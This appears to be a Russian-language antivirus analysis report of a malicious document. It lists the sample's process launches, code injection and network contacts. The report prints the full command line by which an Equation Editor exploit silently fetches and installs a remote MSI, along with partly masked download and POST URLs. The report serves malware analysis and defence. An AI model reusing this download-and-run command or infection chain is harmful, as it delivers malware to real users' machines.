Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://s2####3.smrtp.ru/h/dar.msi /qn
Внедряет код в
следующие пользовательские процессы:
- msifef6.tmp
Сетевая активность
TCP
Запросы HTTP GET
- http://s2####3.smrtp.ru/h/dar.msi
- http://of###elog.org/cgi-sys/suspendedpage.cgi
Запросы HTTP POST
- http://of###elog.org/inc/js/jstree/dar/index.php
UDP
- DNS ASK s2####3.smrtp.ru
- DNS ASK of###elog.org
Другое
Создает и запускает на исполнение
- '%WINDIR%\installer\msifef6.tmp'
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://s2####3.smrtp.ru/h/dar.msi /qn' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://s2####3.smrtp.ru/h/dar.msi /qn
